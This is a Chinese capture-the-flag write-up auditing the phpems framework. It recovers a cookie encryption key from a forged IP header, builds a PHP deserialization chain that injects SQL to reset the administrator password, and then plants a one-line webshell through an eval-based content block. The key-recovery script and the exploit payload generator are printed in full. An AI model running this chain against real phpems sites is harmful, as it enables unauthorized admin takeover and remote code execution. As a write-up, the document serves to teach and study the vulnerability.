0x01 前言

春节之前参加的西湖论剑比赛,数据安全赛道的phpems框架代码审计几乎0解,也是最近才挖出来的洞。打算复现一下却拖到了现在。这几天也玩够了,于是重新看这道题,写下这篇文章记录一下。审计过程中的技巧与思路还是值得学习。

0x02 题目复现

一个phpems框架,有登录注册功能,但是是前台登录,看一下phpems官方手册去分析路由,就能够找到phpems框架的地址(路由就不分析了,调试一下就明白)

需要知道管理员账号密码,题目附件给了sql文件,注册一个账户,发现前台账号密码和后台管理员密码存放在一个表中。

分析一下后台登陆代码逻辑

首先根据用户提交的用户名在数据库中查找该用户的所有信息,如果该用户存在就比对密码的md5值是否相同。最后就是关键的一点,判断该用户是否为管理员权限,则判断用户表的 groupid 字段是否为1。

如果存在sql注入,那么就能够修改我们注册的用户的 groupid 字段,或者修改管理员密码都能够实现后台登录。

一. 漏洞分析

针对于框架的漏洞挖掘,首先分析功能点多且较为明显的地方。比如前台的登录注册。

1.反序列化

当我们点击注册

首先会进入到app的构造方法,这里的make是一个工厂方法,通过给定的参数session创建或者加载处理session的类实例,所以会走到session类的构造方法。

进入到 getSessionId 方法,每次访问都会生成session对象并调用这个方法。

这里获取字段名为 exam_currentuse 的 cookie 值,然后调用decode方法解码。

这里通过一个密钥key,对密文每个字符循环取余然后相减得到明文。

最后就是反序列化触发函数:unserialize

反序列化的内容我们是可控的,接下来就只要破解这个加密方法就可以进行反序列化攻击。

2.破解加密方式

首先密文的长度是131位,密钥的长度为32位。那么取余后$p的值就为0,1,2,3….32,0,1,2等32位的循环。对应的加密函数如下

我们需要找到这个密钥key

加解密的大致模式为:

密文字符的ascii = 明文字符的ascii + key字符的ascii,明文字符的ascii = 密文字符的ascii - key字符的ascii

可以推出:key字符的ascii = 密文字符的ascii - 明文字符的ascii

所以知道了明文以及对应的密文,就可以计算出密钥key。接下来就是寻找可控的明文。

当我们不携带cookie访问的时候

它会进入这里生成一个cookie,进入到 setSessionUser 方法里

它的参数是个数组

通过getClientIp方法获取客户端IP,这个IP可以通过比如Client-IPX-Forwarded-For请求头字段来伪造。

对args数组进行encode函数加密,序列化后的字符串如下

然后将加密后的密文添加到exam_currentuse 字段里通过返回包返回给客户端。

这个伪造的ip就是我们能够控制的密文的部分了。

不带cookie,返回的密文部分。

为了获取到32位的key,我们需要让我们可以控制、预测的密文长度至少为32。所以根据以上序列化明文字符串,可以取的范围是

";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:

一共60位,在加密过程中是通过32位一循环,所以取完整的32位长度,也就是完整密钥的长度。

:"sessionip";s:9:"127.0.0.1";s:

编写解密脚本

<?php
$enc = "%2595%259Cfs%25AF%25D9lon%2586%25D9%25C8%25D7%25D6%25A0%25A1%25A2%25CA%2594X%259D%25AC%259Ccg%259DS%259Aiq%25CB%2596j%25C6loh%259Dfke%259A%25CB%2594%259B%25C8pd%2596%25C7%2594i%2595i%2596hi%259Ba%2587p%25AC%259F%259Dn%2584%25A6%259E%25A7%25D9%259B%25A5%25A2%25CD%25D6%2585%259F%25D6qkn%2583ah%2599g%2592%255Ee%2591b%2587p%25AC%259F%2595j%259CU%25AC%2599%25D9%25A5%259F%25A3%25D2%25DA%25CC%25D1%25C8%25A3%259B%25A1%25CA%25A4X%259D%25A2%259Cal%2593i%2598gl%2599%2597e%259D%25B0";
$enc_r = urldecode($enc);
$enc_r = urldecode($enc_r);
$enc_r=substr($enc_r,64,32);
function getkey($a,$b){
$key = "";
$info = $a;
$kl = 32;
$il = strlen($a);
for($i = 0;$i<$il;$i++){
$p = $i%$kl;
$key.= chr(ord($info[$i])-ord($b[$p]));
}
print_r($key);
}
getkey($enc_r,':"sessionip";s:9:"127.0.0.1";s:1');

运行脚本得到解密密钥为

4b394f264dfcdc724a06b9b05c1e59ed

3.sql注入

我们需要利用sql注入修改管理员的密码,通过反序列化进行sql注入。在session类的 __destruct 方法

exec 方法用于执行 sql 语句,重点在于 makeUpdate 方法,如何在该方法中可控的sql语句的部分

首先 $tablepre 参数写死为null,然后将 pdosql 类的 tablepre 属性赋值为 $tb_pre 变量,接着与 $tables 变量进行拼接,当作用户表进行操作。最后整合出一条更新sql语句。

我们可以利用+或者–等注释符注释掉后面的sql语句

反序列化链为

session::__destruct()->pdosql::makeUpdate()->pepdo::exec()

在反序列化过程中,类属性可控。将 pdosql 类的 tablepre 属性赋值为

x2_user SET userpassword = 'e10adc3949ba59abbe56e057f20f883e' WHERE userid = 1  #

userid为1的一般都是管理员,对管理员账户修改密码,使用md5加密存储。

二.漏洞利用

编写反序列化脚本

<?php
namespace PHPEMS{

class pdosql{
private $db;
public $tablepre = 'x2_user set userpassword="e10adc3949ba59abbe56e057f20f883e" where username="peadmin";#--';
public function __construct(){
$this->db=new pepdo();
}
}

class pepdo
{

}
class session{
public function __construct(){
$this->pdosql=new \PHPEMS\pdosql();
$this->db=new \PHPEMS\pepdo();
}
}

}

namespace {
function encode($info)
{
$info = serialize($info);
$key = "4b394f264dfcdc724a06b9b05c1e59ed";
$kl = strlen($key);
$il = strlen($info);
for($i = 0; $i < $il; $i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])+ord($key[$p]));
}
return urlencode($info);
}
$a=new PHPEMS\session();

$arr=array("sessionid"=>"213",$a);
echo urlencode(encode($arr));
}

在用户表中修改管理员的密码为 123456 的md5值,运行exp,在请求包中将cookie的 exam_currentuser 字段值替换为我们的payload。

最后用账号密位为 peadmin 123456 登录到管理员后台。

登录到后台后找找有什么可以代码执行的地方。

要想代码执行,首先得有用户输入的地方,全局搜索 eval 等代码执行函数。在 content 文件夹中存在一个文件里执行了eval函数,在 api.cls.php文件中。

当 blocktype 为 2,3,4时,都会调用eval函数执行,首先将而在后台对应的功能点就是内容模块的标签管理

除了第一个分类模式,剩下三个都可以代码执行。写下一句话木马保存后,会序列化记录在数据库里

当用户点击注册的时候,框架会提示出现注册协议

在获取模板模式的数据的过程中,blockcontent会被反序列化并将内容赋值给 app/content/cls/api.cls.php中的$tp 最后在进入eval执行了代码。

在前台注册功能点会获取模板信息,执行代码。访问路由为 /index.php?user-app-register

连接蚁剑成功